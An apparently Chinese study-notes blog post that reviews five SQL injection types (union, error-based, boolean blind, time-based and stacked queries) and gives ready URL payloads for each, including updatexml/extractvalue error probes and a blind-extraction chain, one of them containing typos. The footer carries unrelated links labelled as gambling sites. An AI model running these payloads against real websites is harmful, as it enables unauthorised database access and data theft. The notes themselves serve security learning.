sql注入复习--常见的五种注入类型

sql注入复习--常见的五种注入类型

SQL注入常见的五种注入类型

正常回显

错误回显

基于bool的盲注

基于时间的盲注

堆查询注入

什么是SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简单来说,注入攻击的本质就是把用户输入的数据当做代码执行。比如一个网站的url中有一个参数?id=1,此参数用于调取各个被标记好的页面,带到数据库中就会拼接为命令:select * from 库名.表名 where id=1,如果攻击者在后端加入注入语句例如:select * from 库名.表名 where id=1 and 1=1并且应用程序没有对参数做过滤的话,1=1将被执行,攻击者即可判断出此处存在注入漏洞。

SQL注入的分类

1、 按参数类型分为字符型、数字型

2、 按页面回显分为回显注入和盲注,其中回显又分为回显正常和回显报错,盲注分为时间盲注和布尔盲注

PS:更多的时候我们会希望它能够回显报错,因为报错信息会将数据库信息暴露出来,更便于进一步注入。不同的数据库注入语言和方式都有所不同,所以知道渗透目标使用什么数据库至关重要。

五种注入类型的应用场景

1、正常回显

数据库中的数据能够显示到网页中即可使用正常回显(可使用联合查询)

例1:?id=1 and 1=2 union select 1,2,...,n from 库名.表名 where...

前面的语句因为1=2不成立所以不会成功执行,union后的select语句选择的列名内容则会相应的回显出来,将回显出来的数据替换成自己想要爆出的数据内容即可。

例2:有些表单注入也存在正常回显注入,比如当输入正确的用户名和密码后,登录成功的页面可能会显示出你的用户名的相关内容,这就表示有回显的机会,可以尝试在用户名表单或者密码表单中进行注入。

2.错误回显

基于错误消息注入前提是页面能够响应详细信息的错误描述,如果网站关闭了数据库的报错提示则无法使用错误回显。

常见的三种报错注入函数有(以查database为例):

updatexml() ?id=1 and updatexml(1,concat(0x7e,(select(select database())),0x7e),1)

floor() ?id=1 and select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x

extractvalue() ?id=-1 or extractvalue(1,concat(0x7e,(select database())))

updatexml和extractvalue的报错原因均为路径错误,floor的报错原因为主键冗余。

3.基于bool的盲注

网站能够返回ture/false两种不同显示的页面

盲注大致流程:

确定是否存在漏洞 → 确定数据库名长度 → 确定数据库名 → 确定表名长度 → 确定表名 → 确定列名长度 → 确定列名 → 确定内容长度 → 确定内容

?id=1" and 1=1--+?id=1" and 1=2--+?id=1" and length(database())>1--+?id=1" and ascii(mid(database(),1,1))>1--+ ?id=1" and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1--+?id=1" and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1--+?id=1" and length((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1))>1--+ 2?id=1" and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))>1--+ ?id=1" and length((select id from security.emails limit 0,1))>0--+?id=1" and ascii(mid((select id from security.emails limit 0,1),1,1))>1--+

4.基于时间的盲注

无论查询语句正确与否,网站都会返回相同的页面。

?id=1 and 1=1 and sleep(3)

?id=1 and 1=2 and sleep(3)

只有当前面的语句都正确时sleep()才会被执行。

5.堆查询注入

用';'分割开多条语句,可同时执行多条语句

Q:Union也是将两条语句合并在一起,两者有何区别

A:union/union all执行的语句类型是有限的,可以用来执行查询语句,

而堆叠注入可以执行的是任意的语句(增删改查)

PS:盲注费事费力,想要完全手工是几乎不可能的事,

所以会使用一些SQL注入工具,如sqlmap

a little bit question

Q:union 和and有什么区别,要在什么时候使用

A:union把两条记录合并成一个记录,当union前面的语句为假,

后面的语句为真,则只会显示后面的语句,不会报错

而and用在条件中,是与的关系,只有前后都为真才正确

practice makes perfect!

相关推荐

他靠着游戏发家,身家90亿时却说厌恶游戏
足球365官网正规吗

他靠着游戏发家,身家90亿时却说厌恶游戏

📅 07-03 👁️ 6871
夏季必备:海信与格力空调深度对比,哪个更适合你?
5个人可以打一辆滴滴吗
365bet大陆网站

5个人可以打一辆滴滴吗

📅 12-23 👁️ 184